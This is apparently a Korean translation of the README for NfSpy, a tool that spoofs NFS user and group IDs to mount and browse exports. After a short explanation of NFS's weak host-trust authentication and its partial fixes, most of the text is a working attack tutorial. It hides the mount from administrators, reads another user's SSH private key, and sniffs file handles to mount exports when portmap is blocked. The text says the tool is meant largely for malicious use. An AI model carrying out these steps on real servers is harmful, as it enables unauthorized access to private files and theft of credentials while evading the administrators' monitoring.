
ID 스푸핑 NFS 클라이언트
NfSpy는 NFS 공유를 마운트할 때 NFS 자격 증명 위조를 자동화하기 위한 Python 라이브러리입니다. 두 가지 클라이언트 프로그램이 포함되어 있습니다:
nfspy는 Linux에서 NFS 공유를 마운트하기 위해 Filesystem in Userspace(FUSE) 라이브러리를
사용합니다. 이를 통해 grep 및 find와 같은 일반적인 파일 검색 및 조작 프로그램을 사용하여
NFS 익스포트를 탐색할 수 있습니다.
nfspysh는 NFS 익스포트를 탐색하기 위한 ftp와 유사한 대화형 셸입니다. FUSE 라이브러리가 필요하지 않으므로 Linux 이외의 플랫폼에서도 실행할 수 있습니다.
NFS 버전 4 이전에는 인증을 위해 호스트 신뢰 관계에 의존합니다. NFS 서버는 클라이언트 머신이 사용자를 인증하고 공유 파일시스템이 사용하는 것과 동일한 사용자 ID(UID)를 할당할 것을 신뢰합니다. 예를 들어 이는 NIS, NIS+ 및 LDAP 도메인에서 작동하지만, 클라이언트 머신이 손상되었거나 신원을 위장하고 있지 않다는 것을 아는 경우에만 가능합니다. 이는 NFS 프로토콜의 유일한 인증이 UID 및 GID(그룹 ID) 전달이기 때문입니다. NFS의 보안을 강화하기 위해 할 수 있는 몇 가지 방법이 있지만, 그중 다수는 불완전한 해결책이며, 여기에 나열된 세 가지를 모두 적용하더라도 보안 조치를 우회할 수 있는 가능성은 여전히 존재합니다.
서버 또는 공유(NFS 용어로 "익스포트")는 root_squash로 구성할 수 있습니다. 이는 UID 또는 GID 0(root)을 주장하는 모든 요청을 nobody 사용자 또는 시스템의 해당 사용자처럼 취급한다는 의미입니다. 이는 공격자가 다른 UID/GID 조합을 스푸핑하는 것을 막지는 못하지만, 익스포트에서 가장 민감한 정보와 구성을 보호합니다.
활성화할 수 있는 또 다른 설정은 nfs_portmon으로, 513-1024 범위 밖의 소스 포트에서 오는 요청을 거부합니다. 일반적으로 root만이 이러한 포트를 할당할 수 있으므로, 신뢰된 머신의 일반 사용자가 UID/GID를 위조하는 자체 NFS 클라이언트를 작성하여 사용하는 것을 방지합니다. 하지만 악성 호스트, su 권한을 가진 사용자 또는 root 수준에서 손상된 머신이 동일한 작업을 수행하는 것을 막지는 못합니다.
특정 머신만 접근할 수 있도록 공유/익스포트를 제어할 수 있습니다. 이러한 접근 제어 목록(ACL)은 다음으로 구성될 수 있습니다:
가장 좋은 구성은 호스트 목록을 사용하는 것입니다. nfs 데몬에 질의하면 목록에 포함된 주소나 이름이 아니라 목록의 이름만 반환되기 때문입니다. 그다음으로는 IP 주소나 호스트 이름이 좋은데, 이들은 스푸핑하기 더 어렵기 때문입니다. IP 접두사와 "everyone"은 접속할 수 있는 주소에 대한 제한이 거의 또는 전혀 없으므로 보안에 취약함을 나타냅니다.
옵션 목록은 다음을 실행하여 확인할 수 있습니다
nfspy --help
192.168.1.124에 NFS 서버가 있습니다.
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
공유를 마운트합니다. sudo를 사용하면 권한 있는 포트에 바인딩할 수 있고, allow_other 옵션을 사용하면 모든 사용자가 파일시스템을 사용할 수 있습니다. 여기서 또 다른 새 옵션은 "hide"로, 서버에서 공유를 즉시 "마운트 해제"하지만 획득한 파일 핸들은 유지합니다. 이는 showmount -a를 사용하는 모든 사람에게서 사용자의 존재를 숨깁니다.
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
새로 찾은 자유를 누려보세요!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
마운트를 해제하려면 fusermount를 사용합니다:
$ sudo fusermount -u /mnt
192.168.1.124에 NFS 서버가 있습니다. Portmap이 차단되어 공유 목록을 얻을 수 없지만, 네트워크 트래픽을 스니핑할 수 있습니다.
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
이제 dirhandle 및 getroot 마운트 옵션을 사용하여 마운트 데몬을 사용하지 않고, nfsport 옵션을 사용하여 포트매퍼를 사용하지 않은 채 디렉터리 트리를 거슬러 올라가 익스포트의 루트에 도달합니다.
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
우리가 아는 것은 nfs 파일 핸들뿐이므로 마운트할 경로를 제공하지 않았다는 점에 유의하세요. 이 기능이 작동하려면 핸들이 파일이 아닌 디렉터리를 가리켜야 하며, 신속하게 작업하지 않으면 핸들이 만료(stale)될 수 있습니다.
tshark 프로그램은 Wireshark 프로젝트의 일부입니다. 널리 사용되는 tcpdump 프로그램도
-u 옵션을 사용하여 NFS 파일 핸들을 디코딩할 수 있습니다:
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
이러한 파일 핸들은 콜론으로 구분된 4바이트 값이므로 직접 0으로 패딩해야 합니다. NfSpy는 콜론만 제거하므로 올바르지 않습니다.
nfspysh는 nfspy와 동일한 형식으로 동일한 기본 옵션 세트를 사용하므로
위의 튜토리얼이 그대로 작동합니다. 명령 목록은 "help" 명령으로 확인할 수 있습니다.
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
쓰기 접근은 베타 단계입니다. 소수의 시스템에서 제 테스트에서는 작동했지만, 더 많은 테스트가 필요합니다. 이 때문에 NfSpy는 기본적으로 ro로 마운트합니다. 이를 변경하려면 rw 마운트 옵션을 지정하세요. (nfspysh에는 읽기 전용 모드가 없습니다. 신중하게 사용하세요!)
NfSpy는 표준 lockd 및 statd 서비스와 함께 작동하지 않으므로 파일 쓰기에 문제가 발생할 수 있습니다. 그러나 읽기 전용 용도와 이 도구가 의도된 대부분의 악의적인 용도에서는 문제가 되지 않아야 합니다.
NfSpy는 현재 NFSv3만 지원합니다. 향후 버전에서는 NFS 버전을 지능적으로 선택할 수도 있습니다.